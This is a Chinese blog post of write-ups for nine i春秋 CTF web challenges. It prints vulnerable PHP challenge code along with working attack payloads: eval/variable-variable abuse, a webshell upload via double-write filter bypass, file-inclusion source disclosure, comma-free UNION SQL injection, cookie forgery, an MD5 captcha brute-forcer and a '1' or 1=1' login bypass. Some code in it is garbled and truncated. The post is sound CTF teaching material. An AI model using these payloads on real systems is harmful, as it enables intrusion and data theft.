i春秋python_I春秋刷题 WEB篇

原创

叫我三叔就行 于 2021-02-01 05:46:41 发布 233 收藏
文章标签： i春秋python

本文链接：https://blog.csdn.net/weixin_30399511/article/details/113569456

I春秋刷题 WEB篇

一、爆破-1

题目内容：flag就在某六位变量中。

```
include "flag.php";

$a = @$_REQUEST['hello'];

if(!preg_match('/^\w*$/',$a )){

die('ERROR');

}

eval("var_dump($$a);");

show_source(__FILE__);

?>
```

解答：

preg_match('/^\w*$/',$a) 过滤所有小写字母,通过大写字母绕过

eval("var_dump($$a);"); 加上题目解释联想到_SERVER、_COOKIE等变量，测试可以通过，测试GLOABLES，可以打印出全部变量

二、爆破-2

题目内容：flag不在变量中/

```
include "flag.php";

$a = @$_REQUEST['hello'];

eval( "var_dump($a);");

show_source(__FILE__);
```

解答

允许function运行

payload：hello=file_get_contents('flag.php')

三、爆破-3

题目内容：这次是真的爆破

```
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
```

解答：

120秒内完成，第一次

_session['whoami'],同时会在页面显示，将显示的值通过palyload:?value[]=xx；连续10次即可得到flag。

四、web upload

想怎么传就怎么传，就是这么任性

打开页面，发现允许上传任何文件，上传后又回显，打开上传文件，选择查看源代码，发现过滤被替换了了php和

构建webshell； ,采取双写绕过php，然后菜刀直接获取shell权限。

五、Web Code

考脑洞，你能过么？

目录扫描发现.idea目录，位phpstrom的临时目录，查看发现fl3g_ichuqiu.php，config.php

通过?jpg=hei.jpg，确认是文件包含，将hei.jpg修改位index.php可以获取index.php的base64文件内容，解密可以看到正则过滤，其中将config过滤位_,因此可以同构拼接字符串fl3gconfigichuqiu.php获取到fl3g_ichuqiu.php的内容。

发现fl3g_ichuqiu.php文件包含两个加密和解密函数，通过分析，获取到了需要在cookie中将system和key加密后上传，服务器解密匹配好即可获取flag，相关代码：

```
function ss1($txt,$m){

for($i=0;$i

$tmp .= chr(ord($m[$i])+10);

}

$m=$tmp;

$tmp='';

$txt=base64_decode($txt);

$rnd = substr($txt,0,4);

$txt = substr($txt,4);

for($i=0;$i

$key .= $txt[$i] ^ $m[$i];

}

$s='0123456789abcdef';

$txt1='system';

for($i=0;$i

$tmp .= chr(ord($txt1[$i])+10);

}

$txt1=$tmp;

$tmp='';

for($i=0;$i<16;$i++){

$tmp = $key.$s[$i];echo $tmp;

for($ii=0;$ii

$txt2 .= $txt1[$ii] ^ $tmp[$ii];
```

}

echo base64_encode($rnd.$txt2).";

$txt2=";

}

}

ss('OTFkdUlMXEhO','guest');

六 WEB sqli

题目真正的入库：l0gin.php?id=1

通过测试，发现程序屏蔽了,号，采用join的方式进行绕过，payload如下：

-1' union select * from (select database()) a join (select version()) b %23 #屏蔽了逗号的情况下使用，对select database()进行替换即可，例如

-1‘ union select * from (select column_name from information_schema.columns where table_schema=database() and table_name='users') a join (select version()) b %23

-1' union select * from (select group_concat(flag_9c861b688330) from users) a join (select version()) b %23

七 web login

打开登录页面，查看源代码发现test1 test1，用于登录，成功来到下一个页面。

发现没有任何提示，bp抓包，发现show=0，将其改为show=1成功得到源代码

审计发现只需要$login['user']==='ichunqiu'，即可得到flag

构造payload:

$db=array('user'=>'ichunqiu');

echo base64_encode(gzcompress(serialize($db)));

将起放入cookie发送，即可得到flag

array_merge()如果又同命变量，会用后一个覆盖前一个变量，cookie是最后一个采用的所以放入cookie发送。

八 web getFlag

打开页面，点击login登录，会提示substr(md5(captcha), 0, 6)=f60728，这个值是随机的，所以每次刷新会改变，通过python碰撞前6位，代码如下：

import hashlib

head = '3a01cb'

for i in range(10000,10000000):

catch = i

val = hashlib.md5(str(catch)).hexdigest()

if val[0:6] == head:

print i

break;

用户名通过万能密码1' or 1=1 # 绕过即可登录。

登录后，点击a.php,可以得到提示，得知flag.php在根目录下，通过download.php?file=flag.php可以下载flag.php得到具体源码。

查看源码，POST提交flag=flag;即可获取flag。

九 web Not Found

打开页面，显示Not Found，查看相应头，发现X-Methods:haha，google查询X-Methods，可以查询到http的请求又如下几种：https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods

挨个尝试，直到options的时候，返回?f=1.php

带入url，发现返回 not here plz trying，dirsearch扫描存在.htacess文件，访问?f=.htacess文件，发现存在一个html的页面跳转。

直接访问html页面，发现XFF提示，请求头部加入X-Forwarded-For:127.0.0.1,但依然提示错误， google继续，发现存在client-ip选项，加入，获得flag